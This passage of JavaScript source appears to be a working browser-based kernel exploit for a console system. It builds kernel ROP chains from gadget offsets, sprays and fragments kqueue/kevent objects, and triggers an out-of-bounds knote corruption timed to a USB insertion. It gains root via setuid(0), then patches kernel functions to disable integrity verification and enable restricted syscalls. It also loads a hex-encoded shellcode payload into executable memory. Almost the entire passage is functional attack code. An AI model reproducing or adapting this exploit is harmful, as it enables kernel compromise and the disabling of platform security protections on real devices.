392 | chain.syscall(SYSCALL_sys_randomized_path, 0, randomized_path_ptr, randomized_path_length_ptr);
393 | random_path = p.readstr(randomized_path_ptr);
394 |
395 | var ipmi_addr = load_prx("libSceIpmi.sprx");
396 | var hmd_addr = load_prx("libSceHmd.sprx");
397 | var wk2_addr = load_prx("libSceWebKit2.sprx");
398 |
399 | for (var gadget in hmd_gadgetmap) {
400 | window.gadgets[gadget] = hmd_addr.add32(hmd_gadgetmap[gadget]);
401 | }
402 | for (var gadget in wk2_gadgetmap) {
403 | window.gadgets[gadget] = wk2_addr.add32(wk2_gadgetmap[gadget]);
404 | }
405 | for (var gadget in ipmi_gadgetmap) {
406 | window.gadgets[gadget] = ipmi_addr.add32(ipmi_gadgetmap[gadget]);
407 | }
408 |
409 | for (var gadget in window.gadgets) {
410 | p.read8(window.gadgets[gadget]);
411 | //Ensure all gadgets are available to kernel.
412 | chain.fcall(window.syscalls[SYSCALL_MLOCK], window.gadgets[gadget], 0x10);
413 | }
414 | chain.run();
415 | }
416 |
417 | //Build the kernel rop chain, this is what the kernel will be executing when the fake obj pivots the stack.
418 | function kchain_setup() {
419 | const KERNEL_busy = 0x1B28DF8;
420 |
421 | const KERNEL_bcopy = 0xACD;
422 | const KERNEL_bzero = 0x2713FD;
423 | const KERNEL_pagezero = 0x271441;
424 | const KERNEL_memcpy = 0x2714BD;
425 | const KERNEL_pagecopy = 0x271501;
426 | const KERNEL_copyin = 0x2716AD;
427 | const KERNEL_copyinstr = 0x271B5D;
428 | const KERNEL_copystr = 0x271C2D;
429 | const KERNEL_setidt = 0x312c40;
430 | const KERNEL_setcr0 = 0x1FB949;
431 | const KERNEL_Xill = 0x17d500;
432 | const KERNEL_veriPatch = 0x626874;
433 | const KERNEL_enable_syscalls_1 = 0x490;
434 | const KERNEL_enable_syscalls_2 = 0x4B5;
435 | const KERNEL_enable_syscalls_3 = 0x4B9;
436 | const KERNEL_enable_syscalls_4 = 0x4C2;
437 | const KERNEL_mprotect = 0x80B8D;
438 | const KERNEL_prx = 0x23AEC4;
439 | const KERNEL_dlsym_1 = 0x23B67F;
440 | const KERNEL_dlsym_2 = 0x221b40;
441 | const KERNEL_setuid = 0x1A06;
442 | const KERNEL_syscall11_1 = 0x1100520;
443 | const KERNEL_syscall11_2 = 0x1100528;
444 | const KERNEL_syscall11_3 = 0x110054C;
445 | const KERNEL_syscall11_gadget = 0x4c7ad;
446 | const KERNEL_mmap_1 = 0x16632A;
447 | const KERNEL_mmap_2 = 0x16632D;
448 | const KERNEL_setcr0_patch = 0x3ade3B;
449 | const KERNEL_kqueue_close_epi = 0x398991;
450 |
451 | SAVED_KERNEL_STACK_PTR = p.malloc(0x200);
452 | KERNEL_BASE_PTR = SAVED_KERNEL_STACK_PTR.add32(0x8);
453 | //negative offset of kqueue string to kernel base
454 | //0xFFFFFFFFFF86B593 0x505
455 | //0xFFFFFFFFFF80E364 0x900
456 | p.write8(KERNEL_BASE_PTR, new int64(0xFF80E364, 0xFFFFFFFF));
457 |
458 | kchain = new rop();
459 | kchain2 = new rop();
460 | //Ensure the krop stack remains available.
461 | {
462 | chain.fcall(window.syscalls[SYSCALL_MLOCK], kchain.stackback, 0x40000);
463 | chain.fcall(window.syscalls[SYSCALL_MLOCK], kchain2.stackback, 0x40000);
464 | chain.fcall(window.syscalls[SYSCALL_MLOCK], SAVED_KERNEL_STACK_PTR, 0x10);
465 | }
466 | chain.run();
467 |
468 | kchain.count = 0;
469 | kchain2.count = 0;
470 |
471 | kchain.set_kernel_var(KERNEL_BASE_PTR);
472 | kchain2.set_kernel_var(KERNEL_BASE_PTR);
473 |
474 | kchain.push(gadgets["pop rax"]);
475 | kchain.push(SAVED_KERNEL_STACK_PTR);
476 | kchain.push(gadgets["mov [rax], rdi"]);
477 | kchain.push(gadgets["pop r8"]);
478 | kchain.push(KERNEL_BASE_PTR);
479 | kchain.push(gadgets["add [r8], r12"]);
480 |
481 | //Sorry we're closed
482 | kchain.kwrite1(KERNEL_busy, 0x1);
483 | kchain.push(gadgets["sti"]); //it should be safe to re-enable interrupts now.
484 |
485 |
486 | var idx1 = kchain.write_kernel_addr_to_chain_later(KERNEL_setidt);
487 | var idx2 = kchain.write_kernel_addr_to_chain_later(KERNEL_setcr0);
488 | //Modify UD
489 | kchain.push(gadgets["pop rdi"]);
490 | kchain.push(0x6);
491 | kchain.push(gadgets["pop rsi"]);
492 | kchain.push(gadgets["mov rsp, rdi"]);
493 | kchain.push(gadgets["pop rdx"]);
494 | kchain.push(0xE);
495 | kchain.push(gadgets["pop rcx"]);
496 | kchain.push(0x0);
497 | kchain.push(gadgets["pop r8"]);
498 | kchain.push(0x0);
499 | var idx1_dest = kchain.get_rsp();
500 | kchain.pushSymbolic(); // overwritten with KERNEL_setidt
501 |
502 | kchain.push(gadgets["pop rsi"]);
503 | kchain.push(0x80040033);
504 | kchain.push(gadgets["pop rdi"]);
505 | kchain.push(kchain2.stack);
506 | var idx2_dest = kchain.get_rsp();
507 | kchain.pushSymbolic(); // overwritten with KERNEL_setcr0
508 |
509 | kchain.finalizeSymbolic(idx1, idx1_dest);
510 | kchain.finalizeSymbolic(idx2, idx2_dest);
511 |
512 |
513 | //Initial patch(es)
514 | kchain2.kwrite2(KERNEL_veriPatch, 0x9090);
515 | kchain2.kwrite1(KERNEL_bcopy, 0xEB);
516 | //might as well do the others
517 | kchain2.kwrite1(KERNEL_bzero, 0xEB);
518 | kchain2.kwrite1(KERNEL_pagezero, 0xEB);
519 | kchain2.kwrite1(KERNEL_memcpy, 0xEB);
520 | kchain2.kwrite1(KERNEL_pagecopy, 0xEB);
521 | kchain2.kwrite1(KERNEL_copyin, 0xEB);
522 | kchain2.kwrite1(KERNEL_copyinstr, 0xEB);
523 | kchain2.kwrite1(KERNEL_copystr, 0xEB);
524 |
525 | //I guess you're not all that bad...
526 | kchain2.kwrite1(KERNEL_busy, 0x0); //it should now be safe to handle timer-y interrupts again
527 |
528 | //Restore original UD
529 | var idx3 = kchain2.write_kernel_addr_to_chain_later(KERNEL_Xill);
530 | var idx4 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setidt);
531 | kchain2.push(gadgets["pop rdi"]);
532 | kchain2.push(0x6);
533 | kchain2.push(gadgets["pop rsi"]);
534 | var idx3_dest = kchain2.get_rsp();
535 | kchain2.pushSymbolic(); // overwritten with KERNEL_Xill
536 | kchain2.push(gadgets["pop rdx"]);
537 | kchain2.push(0xE);
538 | kchain2.push(gadgets["pop rcx"]);
539 | kchain2.push(0x0);
540 | kchain2.push(gadgets["pop r8"]);
541 | kchain2.push(0x0);
542 | var idx4_dest = kchain2.get_rsp();
543 | kchain2.pushSymbolic(); // overwritten with KERNEL_setidt
544 |
545 | kchain2.finalizeSymbolic(idx3, idx3_dest);
546 | kchain2.finalizeSymbolic(idx4, idx4_dest);
547 |
548 | //Apply kernel patches
549 | kchain2.kwrite4(KERNEL_enable_syscalls_1, 0x00000000);
550 | //patch in reverse because /shrug
551 | kchain2.kwrite1(KERNEL_enable_syscalls_4, 0xEB);
552 | kchain2.kwrite2(KERNEL_enable_syscalls_3, 0x9090);
553 | kchain2.kwrite2(KERNEL_enable_syscalls_2, 0x9090);
554 |
555 | kchain2.kwrite1(KERNEL_setuid, 0xEB);
556 | kchain2.kwrite4(KERNEL_mprotect, 0x00000000);
557 | kchain2.kwrite2(KERNEL_prx, 0xE990);
558 | kchain2.kwrite1(KERNEL_dlsym_1, 0xEB);
559 | kchain2.kwrite4(KERNEL_dlsym_2, 0xC3C03148);
560 |
561 | kchain2.kwrite1(KERNEL_mmap_1, 0x37);
562 | kchain2.kwrite1(KERNEL_mmap_2, 0x37);
563 |
564 | kchain2.kwrite4(KERNEL_syscall11_1, 0x00000002);
565 | kchain2.kwrite8_kaddr(KERNEL_syscall11_2, KERNEL_syscall11_gadget);
566 | kchain2.kwrite4(KERNEL_syscall11_3, 0x00000001);
567 |
568 | //Restore CR0
569 | kchain2.kwrite4(KERNEL_setcr0_patch, 0xC3C7220F);
570 | var idx5 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setcr0_patch);
571 | kchain2.push(gadgets["pop rdi"]);
572 | kchain2.push(0x80050033);
573 | var idx5_dest = kchain2.get_rsp();
574 | kchain2.pushSymbolic(); // overwritten with KERNEL_setcr0_patch
575 | kchain2.finalizeSymbolic(idx5, idx5_dest);
576 |
577 | //Recover
578 | kchain2.rax_kernel(KERNEL_kqueue_close_epi);
579 | kchain2.push(gadgets["mov rdx, rax"]);
580 | kchain2.push(gadgets["pop rsi"]);
581 | kchain2.push(SAVED_KERNEL_STACK_PTR);
582 | kchain2.push(gadgets["mov rax, [rsi]"]);
583 | kchain2.push(gadgets["pop rcx"]);
584 | kchain2.push(0x10);
585 | kchain2.push(gadgets["add rax, rcx"]);
586 | kchain2.push(gadgets["mov [rax], rdx"]);
587 | kchain2.push(gadgets["pop rdi"]);
588 | var idx6 = kchain2.pushSymbolic();
589 | kchain2.push(gadgets["mov [rdi], rax"]);
590 | kchain2.push(gadgets["sti"]);
591 | kchain2.push(gadgets["pop rsp"]);
592 | var idx6_dest = kchain2.get_rsp();
593 | kchain2.pushSymbolic(); // overwritten with old stack pointer
594 | kchain2.finalizeSymbolic(idx6, idx6_dest);
595 | }
596 |
597 | function object_setup() {
598 | //Map fake object
599 | var fake_knote = chain.syscall(SYSCALL_MMAP, 0x4000, 0x4000 * 0x3, 0x3, 0x1010, 0xFFFFFFFF, 0x0);
600 | var fake_filtops = fake_knote.add32(0x4000);
601 | var fake_obj = fake_knote.add32(0x8000);
602 | if (fake_knote.low != 0x4000) {
603 | alert("enomem: " + fake_knote);
604 | while (1);
605 | }
606 | //setup fake object
607 | //KNOTE
608 | {
609 | p.write8(fake_knote, fake_obj);
610 | p.write8(fake_knote.add32(0x68), fake_filtops)
611 | }
612 | //FILTOPS
613 | {
614 | p.write8(fake_filtops.sub32(0x79), gadgets["cli ; pop rax"]); //cli ; pop rax ; ret
615 | p.write8(fake_filtops.add32(0x0), gadgets["xchg rdi, rsp ; call [rsi - 0x79]"]); //xchg rdi, rsp ; call qword ptr [rsi - 0x79]
616 | p.write8(fake_filtops.add32(0x8), kchain.stack);
617 | p.write8(fake_filtops.add32(0x10), gadgets["mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]"]); //mov rcx, qword ptr [rdi] ; mov rsi, rax ; call qword ptr [rcx + 0x30]
618 | }
619 | //OBJ
620 | {
621 | p.write8(fake_obj.add32(0x30), gadgets["mov rdi, [rax + 8] ; call [rax]"]); //mov rdi, qword ptr [rax + 8] ; call qword ptr [rax]
622 | }
623 | //Ensure the fake knote remains available
624 | chain.syscall(SYSCALL_MLOCK, fake_knote, 0xC000);
625 | }
626 |
627 | var trigger_spray = function () {
628 |
629 | var NUM_KQUEUES = 0x1B0;
630 | var kqueue_ptr = p.malloc(NUM_KQUEUES * 0x4);
631 | //Make kqueues
632 | {
633 | for (var i = 0; i < NUM_KQUEUES; i++) {
634 | chain.fcall(window.syscalls[SYSCALL_KQUEUE]);
635 | chain.write_result4(kqueue_ptr.add32(0x4 * i));
636 | }
637 | }
638 | chain.run();
639 | var kqueues = p.array_from_address(kqueue_ptr, NUM_KQUEUES);
640 |
641 | var that_one_socket = chain.syscall(SYSCALL_SOCKET, 2, 1, 0);
642 | if (that_one_socket.low < 0x100 || that_one_socket.low >= 0x200) {
643 | alert("invalid socket");
644 | while (1);
645 | }
646 |
647 | //Spray kevents
648 | var kevent = p.malloc(0x20);
649 | p.write8(kevent.add32(0x0), that_one_socket);
650 | p.write4(kevent.add32(0x8), 0xFFFF + 0x010000);
651 | p.write4(kevent.add32(0xC), 0x0);
652 | p.write8(kevent.add32(0x10), 0x0);
653 | p.write8(kevent.add32(0x18), 0x0);
654 | //
655 | {
656 | for (var i = 0; i < NUM_KQUEUES; i++) {
657 | chain.fcall(window.syscalls[SYSCALL_KEVENT], kqueues[i], kevent, 0x1, 0x0, 0x0, 0x0);
658 | }
659 | }
660 | chain.run();
661 |
662 |
663 |
664 | //Fragment memory
665 | {
666 | for (var i = 18; i < NUM_KQUEUES; i += 2) {
667 | chain.fcall(window.syscalls[SYSCALL_CLOSE], kqueues[i]);
668 | }
669 | }
670 | chain.run();
671 |
672 | //Trigger OOB
673 | alert("Insert USB now. do not close the dialog until notification pops, remove usb after closing it.");
674 | //Trigger corrupt knote
675 | {
676 | for (var i = 1; i < NUM_KQUEUES; i += 2) {
677 | chain.fcall(window.syscalls[SYSCALL_CLOSE], kqueues[i]);
678 | }
679 | }
680 | chain.run();
681 |
682 | if (chain.syscall(SYSCALL_SETUID, 0).low == 0) {
683 | {
684 | logMessage("done");
685 | //cleanup fake knote & release locked gadgets/stack.
686 | chain.fcall(window.syscalls[SYSCALL_MUNMAP], 0x4000, 0xC000);
687 | chain.fcall(window.syscalls[SYSCALL_MUNLOCKALL]);
688 | }
689 | chain.run();
690 | return;
691 | }
692 | alert(`Failed to trigger the exploit, This happened because you plugged it in too late/early or not at all.
693 | if you did plug it in then the kernel heap is slightly corrupted, this might cause panics later on.
694 | closing this alert will crash the browser for you.`);
695 | p.write8(0, 0);
696 | return;
697 | }
698 |
699 | //This disables sysveri, see patch.s for more info
700 | var patch_once = function () {
701 |
702 | var patch_buffer = chain.syscall(SYSCALL_MMAP, 0x0, 0x4000, 0x7, 0x1000, 0xFFFFFFFF, 0);
703 | var patch_buffer_view = p.array_from_address(patch_buffer, 0x1000);
704 |
705 | patch_buffer_view[0] = 0x00000BB8;
706 | patch_buffer_view[1] = 0xFE894800;
707 | patch_buffer_view[2] = 0x033D8D48;
708 | patch_buffer_view[3] = 0x0F000000;
709 | patch_buffer_view[4] = 0x4855C305;
710 | patch_buffer_view[5] = 0x8B48E589;
711 | patch_buffer_view[6] = 0x95E8087E;
712 | patch_buffer_view[7] = 0xE8000000;
713 | patch_buffer_view[8] = 0x00000175;
714 | patch_buffer_view[9] = 0x033615FF;
715 | patch_buffer_view[10] = 0x8B480000;
716 | patch_buffer_view[11] = 0x0003373D;
717 | patch_buffer_view[12] = 0x3F8B4800;
718 | patch_buffer_view[13] = 0x74FF8548;
719 | patch_buffer_view[14] = 0x3D8D48EB;
720 | patch_buffer_view[15] = 0x0000029D;
721 | patch_buffer_view[16] = 0xF9358B48;
722 | patch_buffer_view[17] = 0x48000002;
723 | patch_buffer_view[18] = 0x0322158B;
724 | patch_buffer_view[19] = 0x8B480000;
725 | patch_buffer_view[20] = 0x00D6E812;
726 | patch_buffer_view[21] = 0x8D480000;
727 | patch_buffer_view[22] = 0x00029F3D;
728 | patch_buffer_view[23] = 0x358B4800;
729 | patch_buffer_view[24] = 0x000002E4;
730 | patch_buffer_view[25] = 0x05158B48;
731 | patch_buffer_view[26] = 0x48000003;
732 | patch_buffer_view[27] = 0xB9E8128B;
733 | patch_buffer_view[28] = 0x48000000;
734 | patch_buffer_view[29] = 0x02633D8D;
735 | patch_buffer_view[30] = 0x8B480000;
736 | patch_buffer_view[31] = 0x0002BF35;
737 | patch_buffer_view[32] = 0x158B4800;
738 | patch_buffer_view[33] = 0x000002C8;
739 | patch_buffer_view[34] = 0xE8128B48;
740 | patch_buffer_view[35] = 0x0000009C;
741 | patch_buffer_view[36] = 0x7A3D8D48;
742 | patch_buffer_view[37] = 0x48000002;
743 | patch_buffer_view[38] = 0x02AA358B;
744 | patch_buffer_view[39] = 0x8B480000;
745 | patch_buffer_view[40] = 0x0002AB15;
746 | patch_buffer_view[41] = 0x128B4800;
747 | patch_buffer_view[42] = 0x00007FE8;
748 | patch_buffer_view[43] = 0x0185E800;
749 | patch_buffer_view[44] = 0xC35D0000;
750 | patch_buffer_view[45] = 0x6D3D8948;
751 | patch_buffer_view[46] = 0x48000002;
752 | patch_buffer_view[47] = 0x026E3D01;
753 | patch_buffer_view[48] = 0x01480000;
754 | patch_buffer_view[49] = 0x00026F3D;
755 | patch_buffer_view[50] = 0x3D014800;
756 | patch_buffer_view[51] = 0x00000270;
757 | patch_buffer_view[52] = 0x713D0148;
758 | patch_buffer_view[53] = 0x48000002;
759 | patch_buffer_view[54] = 0x02723D01;
760 | patch_buffer_view[55] = 0x01480000;
761 | patch_buffer_view[56] = 0x0002933D;
762 | patch_buffer_view[57] = 0x3D014800;
763 | patch_buffer_view[58] = 0x00000294;
764 | patch_buffer_view[59] = 0x653D0148;
765 | patch_buffer_view[60] = 0x48000002;
766 | patch_buffer_view[61] = 0x02663D01;
767 | patch_buffer_view[62] = 0x01480000;
768 | patch_buffer_view[63] = 0x0002873D;
769 | patch_buffer_view[64] = 0x3D014800;
770 | patch_buffer_view[65] = 0x00000288;
771 | patch_buffer_view[66] = 0x893D0148;
772 | patch_buffer_view[67] = 0x48000002;
773 | patch_buffer_view[68] = 0x028A3D01;
774 | patch_buffer_view[69] = 0x01480000;
775 | patch_buffer_view[70] = 0x00028B3D;
776 | patch_buffer_view[71] = 0x3D014800;
777 | patch_buffer_view[72] = 0x0000024C;
778 | patch_buffer_view[73] = 0x3D3D0148;
779 | patch_buffer_view[74] = 0xC3000002;
780 | patch_buffer_view[75] = 0xE5894855;
781 | patch_buffer_view[76] = 0x10EC8348;
782 | patch_buffer_view[77] = 0x24348948;
783 | patch_buffer_view[78] = 0x24548948;
784 | patch_buffer_view[79] = 0xED15FF08;
785 | patch_buffer_view[80] = 0x48000001;
786 | patch_buffer_view[81] = 0x4B74C085;
787 | patch_buffer_view[82] = 0x48C28948;
788 | patch_buffer_view[83] = 0x4840408B;
789 | patch_buffer_view[84] = 0x2F74C085;
790 | patch_buffer_view[85] = 0x28788B48;
791 | patch_buffer_view[86] = 0x243C3B48;
792 | patch_buffer_view[87] = 0x8B480A74;
793 | patch_buffer_view[88] = 0xC0854800;
794 | patch_buffer_view[89] = 0xECEB1D74;
795 | patch_buffer_view[90] = 0x18788B48;
796 | patch_buffer_view[91] = 0x74FF8548;
797 | patch_buffer_view[92] = 0x7F8B48ED;
798 | patch_buffer_view[93] = 0x7C3B4810;
799 | patch_buffer_view[94] = 0xE2750824;
800 | patch_buffer_view[95] = 0xFF1040C7;
801 | patch_buffer_view[96] = 0x48FFFFFF;
802 | patch_buffer_view[97] = 0x31107A8D;
803 | patch_buffer_view[98] = 0x31D231F6;
804 | patch_buffer_view[99] = 0xA515FFC9;
805 | patch_buffer_view[100] = 0x48000001;
806 | patch_buffer_view[101] = 0x5D10C483;
807 | patch_buffer_view[102] = 0x894855C3;
808 | patch_buffer_view[103] = 0xC0200FE5;
809 | patch_buffer_view[104] = 0xFFFF2548;
810 | patch_buffer_view[105] = 0x220FFFFE;
811 | patch_buffer_view[106] = 0x3D8B48C0;
812 | patch_buffer_view[107] = 0x000001C8;
813 | patch_buffer_view[108] = 0x909007C7;
814 | patch_buffer_view[109] = 0x47C79090;
815 | patch_buffer_view[110] = 0x48909004;
816 | patch_buffer_view[111] = 0x358B48B8;
817 | patch_buffer_view[112] = 0x000001AC;
818 | patch_buffer_view[113] = 0x08778948;
819 | patch_buffer_view[114] = 0x651047C7;
820 | patch_buffer_view[115] = 0xC73C8B48;
821 | patch_buffer_view[116] = 0x00251447;
822 | patch_buffer_view[117] = 0x47C70000;
823 | patch_buffer_view[118] = 0x89480018;
824 | patch_buffer_view[119] = 0x1C47C738;
825 | patch_buffer_view[120] = 0xB8489090;
826 | patch_buffer_view[121] = 0x7D358B48;
827 | patch_buffer_view[122] = 0x48000001;
828 | patch_buffer_view[123] = 0xC7207789;
829 | patch_buffer_view[124] = 0xC7482847;
830 | patch_buffer_view[125] = 0x47C70100;
831 | patch_buffer_view[126] = 0x0000002C;
832 | patch_buffer_view[127] = 0x778D48E9;
833 | patch_buffer_view[128] = 0x158B4834;
834 | patch_buffer_view[129] = 0x00000150;
835 | patch_buffer_view[130] = 0x89F22948;
836 | patch_buffer_view[131] = 0x8B483057;
837 | patch_buffer_view[132] = 0x00016B35;
838 | patch_buffer_view[133] = 0x568D4800;
839 | patch_buffer_view[134] = 0xD7294805;
840 | patch_buffer_view[135] = 0xC148FF89;
841 | patch_buffer_view[136] = 0x814808E7;
842 | patch_buffer_view[137] = 0x0000E9CF;
843 | patch_buffer_view[138] = 0x3E894800;
844 | patch_buffer_view[139] = 0x00000D48;
845 | patch_buffer_view[140] = 0x220F0001;
846 | patch_buffer_view[141] = 0x55C35DC0;
847 | patch_buffer_view[142] = 0x0FE58948;
848 | patch_buffer_view[143] = 0x2548C020;
849 | patch_buffer_view[144] = 0xFFFEFFFF;
850 | patch_buffer_view[145] = 0x48C0220F;
851 | patch_buffer_view[146] = 0x013A3D8B;
852 | patch_buffer_view[147] = 0x07C70000;
853 | patch_buffer_view[148] = 0x00C3C031;
854 | patch_buffer_view[149] = 0x353D8B48;
855 | patch_buffer_view[150] = 0xC7000001;
856 | patch_buffer_view[151] = 0xC3C03107;
857 | patch_buffer_view[152] = 0x3D8B4800;
858 | patch_buffer_view[153] = 0x00000130;
859 | patch_buffer_view[154] = 0xC03107C7;
860 | patch_buffer_view[155] = 0x8B4800C3;
861 | patch_buffer_view[156] = 0x00012B3D;
862 | patch_buffer_view[157] = 0x3107C700;
863 | patch_buffer_view[158] = 0x4800C3C0;
864 | patch_buffer_view[159] = 0x00A63D8B;
865 | patch_buffer_view[160] = 0x87C70000;
866 | patch_buffer_view[161] = 0x001F1E01;
867 | patch_buffer_view[162] = 0x9090F631;
868 | patch_buffer_view[163] = 0x1E0587C7;
869 | patch_buffer_view[164] = 0xC931001F;
870 | patch_buffer_view[165] = 0x87C79090;
871 | patch_buffer_view[166] = 0x001F1E09;
872 | patch_buffer_view[167] = 0x9090D231;
873 | patch_buffer_view[168] = 0x1E3E87C7;
874 | patch_buffer_view[169] = 0xC931001F;
875 | patch_buffer_view[170] = 0x0D489090;
876 | patch_buffer_view[171] = 0x00010000;
877 | patch_buffer_view[172] = 0xFFC0220F;
878 | patch_buffer_view[173] = 0x0000EF15;
879 | patch_buffer_view[174] = 0xC0200F00;
880 | patch_buffer_view[175] = 0xFFFF2548;
881 | patch_buffer_view[176] = 0x220FFFFE;
882 | patch_buffer_view[177] = 0x3D8B48C0;
883 | patch_buffer_view[178] = 0x000000DC;
884 | patch_buffer_view[179] = 0xC03107C7;
885 | patch_buffer_view[180] = 0x0D4800C3;
886 | patch_buffer_view[181] = 0x00010000;
887 | patch_buffer_view[182] = 0x5DC0220F;
888 | patch_buffer_view[183] = 0x737973C3;
889 | patch_buffer_view[184] = 0x5F6D6574;
890 | patch_buffer_view[185] = 0x70737573;
891 | patch_buffer_view[186] = 0x5F646E65;
892 | patch_buffer_view[187] = 0x73616870;
893 | patch_buffer_view[188] = 0x705F3265;
894 | patch_buffer_view[189] = 0x735F6572;
895 | patch_buffer_view[190] = 0x00636E79;
896 | patch_buffer_view[191] = 0x74737973;
897 | patch_buffer_view[192] = 0x725F6D65;
898 | patch_buffer_view[193] = 0x6D757365;
899 | patch_buffer_view[194] = 0x68705F65;
900 | patch_buffer_view[195] = 0x32657361;
901 | patch_buffer_view[196] = 0x73797300;
902 | patch_buffer_view[197] = 0x5F6D6574;
903 | patch_buffer_view[198] = 0x75736572;
904 | patch_buffer_view[199] = 0x705F656D;
905 | patch_buffer_view[200] = 0x65736168;
906 | patch_buffer_view[201] = 0x90900033;
907 | patch_buffer_view[202] = 0x00000000;
908 | patch_buffer_view[203] = 0x00000000;
909 | patch_buffer_view[204] = 0x000F88F0;
910 | patch_buffer_view[205] = 0x00000000;
911 | patch_buffer_view[206] = 0x002EF170;
912 | patch_buffer_view[207] = 0x00000000;
913 | patch_buffer_view[208] = 0x00018DF0;
914 | patch_buffer_view[209] = 0x00000000;
915 | patch_buffer_view[210] = 0x00018EF0;
916 | patch_buffer_view[211] = 0x00000000;
917 | patch_buffer_view[212] = 0x02654110;
918 | patch_buffer_view[213] = 0x00000000;
919 | patch_buffer_view[214] = 0x00097230;
920 | patch_buffer_view[215] = 0x00000000;
921 | patch_buffer_view[216] = 0x00402E60;
922 | patch_buffer_view[217] = 0x00000000;
923 | patch_buffer_view[218] = 0x01520108;
924 | patch_buffer_view[219] = 0x00000000;
925 | patch_buffer_view[220] = 0x01520100;
926 | patch_buffer_view[221] = 0x00000000;
927 | patch_buffer_view[222] = 0x00462D20;
928 | patch_buffer_view[223] = 0x00000000;
929 | patch_buffer_view[224] = 0x00462DFC;
930 | patch_buffer_view[225] = 0x00000000;
931 | patch_buffer_view[226] = 0x006259A0;
932 | patch_buffer_view[227] = 0x00000000;
933 | patch_buffer_view[228] = 0x006268D0;
934 | patch_buffer_view[229] = 0x00000000;
935 | patch_buffer_view[230] = 0x00625DC0;
936 | patch_buffer_view[231] = 0x00000000;
937 | patch_buffer_view[232] = 0x00626290;
938 | patch_buffer_view[233] = 0x00000000;
939 | patch_buffer_view[234] = 0x00626720;
940 | patch_buffer_view[235] = 0x00000000;
941 | //lock payload / call payload / release payload
942 | {
943 | chain.fcall(window.syscalls[SYSCALL_MLOCK], patch_buffer, 0x4000);
944 | chain.fcall(patch_buffer, p.read8(KERNEL_BASE_PTR));
945 | chain.fcall(window.syscalls[SYSCALL_MUNMAP], patch_buffer, 0x4000);
946 | }
947 | chain.run();
948 | }
--------------------------------------------------------------------------------